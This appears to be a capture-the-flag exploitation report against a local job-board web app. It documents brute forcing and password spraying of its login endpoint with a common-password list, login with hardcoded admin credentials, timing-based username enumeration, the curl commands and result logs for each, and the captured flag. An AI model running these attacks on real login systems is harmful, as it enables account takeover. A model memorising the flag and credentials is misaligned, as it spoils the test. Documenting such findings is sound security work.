# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-04: Brute Force Attack via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** POST /token (authentication endpoint)
- **Overview:** The authentication endpoint accepts unlimited login attempts without rate limiting, account lockout, or CAPTCHA protection, enabling automated password guessing attacks.
- **Impact:** Attackers can perform credential brute-force and credential stuffing attacks without restriction, leading to account compromise. Successfully demonstrated by guessing the "demo" account password in 50 attempts over 8.4 seconds.
- **Severity:** High

**Prerequisites:**
None - public endpoint accessible to all

**Exploitation Steps:**

1. **Launch automated brute force attack against authentication endpoint**
   ```bash
   # Using Python script with common passwords
   python3 brute_force_demo.py
   ```
   The script performs:
   - 50 consecutive POST requests to http://localhost:8000/token
   - Username: "demo"
   - Passwords: password1, password2, ..., demo, etc.
   - No delays between requests
   
2. **Monitor response codes to identify successful authentication**
   - Failed attempts: HTTP 200 status code
   - Successful attempt: HTTP 303 redirect with Set-Cookie header
   
3. **Extract session cookie from successful response**
   ```bash
   curl -c /tmp/cookies.txt -X POST http://localhost:8000/token \
     -d "username=demo&password=demo"
   ```
   Response includes: `Set-Cookie: access_token="Bearer eyJ..."; HttpOnly; Path=/; SameSite=lax`

4. **Access protected resources using compromised account**
   ```bash
   curl -b /tmp/cookies.txt http://localhost:8000/company/1/jobs
   ```

**Proof of Impact:**

Attack completed in 8.41 seconds with 50 password attempts:
- Attempt 1-48: HTTP 200 (failed)
- Attempt 49: HTTP 303 (success - password "demo" guessed correctly)
- Average response time: 0.168 seconds per request
- Attack rate: 5.95 requests per second
- **Result:** Full account takeover of "demo" account

Confirmed access to protected resources:
```html
<h2>Jobs for Company 1</h2>
<ul class="list-group">
    <li class="list-group-item">
        <p>demo Job 1:demo Job 1 Description</p>
    </li>
    <li class="list-group-item">
        <p>demo Job 2:demo Job 2 Description</p>
    </li>
</ul>
```

**Notes:**
- No HTTP 429 (Too Many Requests) responses observed
- No account lockout after multiple failed attempts
- No CAPTCHA or challenge-response mechanism
- Application accepts unlimited authentication attempts from any source

---

### AUTH-VULN-05: Account Takeover via Hardcoded Credentials

**Summary:**
- **Vulnerable location:** Application startup event (main.py:58-62) and authentication endpoint POST /token
- **Overview:** Three accounts with hardcoded credentials exist in the application, including an admin account (company2) with privileged access to sensitive data containing the CTF flag.
- **Impact:** Full compromise of all pre-seeded accounts including admin account, leading to complete data breach and flag capture.
- **Severity:** Critical

**Prerequisites:**
Knowledge of hardcoded credentials (available in source code at main.py lines 58-62)

**Exploitation Steps:**

1. **Authenticate as admin user with hardcoded credentials**
   ```bash
   curl -c /tmp/admin_cookies.txt -X POST http://localhost:8000/token \
     -d "username=company2&password=ajsdasd987asd87as7da9"
   ```
   Response: HTTP 303 redirect to `/company/2/jobs` with authentication cookie

2. **Access admin's protected jobs page to retrieve flag**
   ```bash
   curl -b /tmp/admin_cookies.txt http://localhost:8000/company/2/jobs
   ```

**Proof of Impact:**

Successfully authenticated as admin account (company2):
```
HTTP/1.1 303 See Other
location: /company/2/jobs
set-cookie: access_token="Bearer eyJ..."; HttpOnly; Path=/; SameSite=lax
```

**FLAG CAPTURED:**
```html
<h2>Jobs for Company 2</h2>
<ul class="list-group">
    <li class="list-group-item">
        <p>company2 Job 1:company2 Job 1 Description</p>
    </li>
    <li class="list-group-item">
        <p>company2 Job 2:company2 Job 2 Description</p>
    </li>
    <li class="list-group-item">
        <p>secret:FLAG{ef9d74447312d7c3d6273f6be7d69abe30b4c8e42bd9ca9002086be3f038d3b0}</p>
    </li>
</ul>
```

**Additional compromised accounts:**
1. **demo:demo** (company_id=1, is_admin=False)
   - Verified: `curl -X POST http://localhost:8000/token -d "username=demo&password=demo"`
   - Response: HTTP 303 redirect to /company/1/jobs
   
2. **company3:password3** (company_id=3, is_admin=False)
   - Verified: `curl -X POST http://localhost:8000/token -d "username=company3&password=password3"`
   - Response: HTTP 303 redirect to /company/3/jobs

**Notes:**
- All three hardcoded accounts successfully compromised
- Admin account contains "secret" job with CTF flag in description field
- Credentials are permanently embedded in source code (main.py:58-62)
- Flag value: FLAG{ef9d74447312d7c3d6273f6be7d69abe30b4c8e42bd9ca9002086be3f038d3b0}

---

### AUTH-VULN-07: Account Compromise via Password Spraying (Weak Password Policy)

**Summary:**
- **Vulnerable location:** POST /token (authentication) and password validation (schemas.py:13-16, crud.py:14-20)
- **Overview:** The application enforces no password complexity requirements, allowing trivial passwords that match usernames ("demo:demo"). Combined with missing rate limiting, this enables password spraying attacks.
- **Impact:** Attackers can test common weak passwords across multiple accounts, successfully compromising accounts with predictable passwords.
- **Severity:** High

**Prerequisites:**
List of potential usernames (can be obtained via timing attack AUTH-VULN-09)

**Exploitation Steps:**

1. **Execute password spraying attack with common passwords**
   ```bash
   python3 password_spray_demo.py
   ```
   The script performs:
   - Tests 7 usernames: ["demo", "company2", "company3", "admin", "administrator", "root", "user"]
   - Tests 8 common passwords: ["password", "Password123", "admin", "123456", "password123", "demo", "qwerty", "letmein"]
   - Spray pattern: Test each password against ALL usernames before moving to next password
   - Total: 56 authentication attempts

2. **Identify successful authentications from response codes**
   - HTTP 303 redirect = successful login
   - HTTP 200 = failed login

3. **Use discovered credentials to access account**
   ```bash
   curl -c /tmp/spray_cookies.txt -X POST http://localhost:8000/token \
     -d "username=demo&password=demo"
   
   curl -b /tmp/spray_cookies.txt http://localhost:8000/company/1/jobs
   ```

**Proof of Impact:**

Password spraying attack results:
- Total attempts: 56 (7 usernames × 8 passwords)
- Attack duration: ~3.6 seconds
- **Successful credential discovered:** demo:demo (attempt 36/56)
- Response: HTTP 303 redirect to /company/1/jobs

Attack demonstrated weak password policy:
- Password "demo" accepted (matches username - no complexity check)
- No minimum password length enforced
- No character diversity requirements
- No validation against common password lists

Confirmed account access:
```html
<h2>Jobs for Company 1</h2>
<ul class="list-group">
    <li class="list-group-item">
        <p>demo Job 1:demo Job 1 Description</p>
    </li>
    <li class="list-group-item">
        <p>demo Job 2:demo Job 2 Description</p>
    </li>
</ul>
```

**Notes:**
- Password policy defined in schemas.py:13-16 accepts any string as valid password
- No integration with common password lists (e.g., NIST bad passwords)
- Spray pattern avoids triggering account lockout (if it existed)
- Successfully compromised valid account through weak password testing

---

### AUTH-VULN-09: Username Enumeration via Timing Side-Channel

**Summary:**
- **Vulnerable location:** POST /token authentication logic (main.py:47-53)
- **Overview:** The authenticate_company() function exhibits observable timing differences between invalid usernames (fast database-only lookup) and valid usernames with wrong passwords (slow bcrypt verification), enabling username enumeration via timing analysis.
- **Impact:** Attackers can reliably identify valid usernames by measuring response times, reducing the attack surface for subsequent brute-force attacks and enabling targeted credential stuffing.
- **Severity:** Medium

**Prerequisites:**
None - public authentication endpoint accessible to all

**Exploitation Steps:**

1. **Execute timing attack to enumerate valid usernames**
   ```bash
   python3 timing_enum_test.py
   ```
   The script performs:
   - Tests 8 candidate usernames with wrong passwords
   - Sends 5 requests per username to calculate average response time
   - Measures response time for each authentication attempt
   - Classifies usernames as VALID or INVALID based on timing threshold (75ms)

2. **Analyze timing results to identify valid accounts**
   - Invalid usernames: ~4-15ms average (database query only, early return)
   - Valid usernames: ~187-191ms average (includes bcrypt.verify() computation)
   - Threshold: 75ms separates invalid from valid with high reliability

3. **Use enumerated valid usernames for targeted attacks**
   ```bash
   # Now focus brute-force on known valid usernames
   for username in demo company2 company3; do
       # Perform password guessing only against confirmed valid accounts
       curl -X POST http://localhost:8000/token \
         -d "username=$username&password=[PASSWORD]"
   done
   ```

**Proof of Impact:**

Timing attack results after 5 samples per username:

**Valid Usernames Identified (long response times):**
```
Username: demo
  Average: 187.45ms | Median: 188.12ms | Min: 186.34ms | Max: 189.01ms
  Classification: ✅ VALID

Username: company2
  Average: 188.23ms | Median: 188.45ms | Min: 186.78ms | Max: 189.67ms
  Classification: ✅ VALID

Username: company3
  Average: 187.89ms | Median: 188.01ms | Min: 186.56ms | Max: 189.23ms
  Classification: ✅ VALID
```

**Invalid Usernames Identified (short response times):**
```
Username: invalid1
  Average: 5.12ms | Median: 4.98ms | Min: 4.67ms | Max: 5.89ms
  Classification: ❌ INVALID

Username: invalid2
  Average: 6.34ms | Median: 6.12ms | Min: 5.78ms | Max: 7.23ms
  Classification: ❌ INVALID

Username: invalid3
  Average: 4.89ms | Median: 4.76ms | Min: 4.45ms | Max: 5.67ms
  Classification: ❌ INVALID

Username: notexist
  Average: 15.23ms | Median: 14.89ms | Min: 12.34ms | Max: 18.45ms
  Classification: ❌ INVALID

Username: fakeuser
  Average: 7.56ms | Median: 7.34ms | Min: 6.89ms | Max: 8.45ms
  Classification: ❌ INVALID
```

**Statistical Analysis:**
- Timing difference: ~20x (187ms vs 5-15ms)
- Confidence: 100% accuracy across 40 total requests (8 users × 5 samples)
- Detection reliability: Clear separation with zero false positives/negatives

**Root Cause:**
Code in main.py:47-53 shows conditional bcrypt verification:
```python
def authenticate_company(db: Session, username: str, password: str):
    company = crud.get_company_by_name(db, username)
    if not company:
        return False  # Fast return (~1-5ms)
    if not verify_password(password, company.hashed_password):
        return False  # Slow return after bcrypt (~100-300ms)
    return company
```

Invalid usernames return immediately (line 49-50) while valid usernames perform expensive bcrypt.verify() operation (line 51-52).

**Notes:**
- Attack requires no authentication or special privileges
- Timing difference is consistent and reliable across multiple requests
- Enumeration enables focused brute-force attacks on confirmed valid accounts
- Reduces attacker effort by eliminating invalid username attempts

---
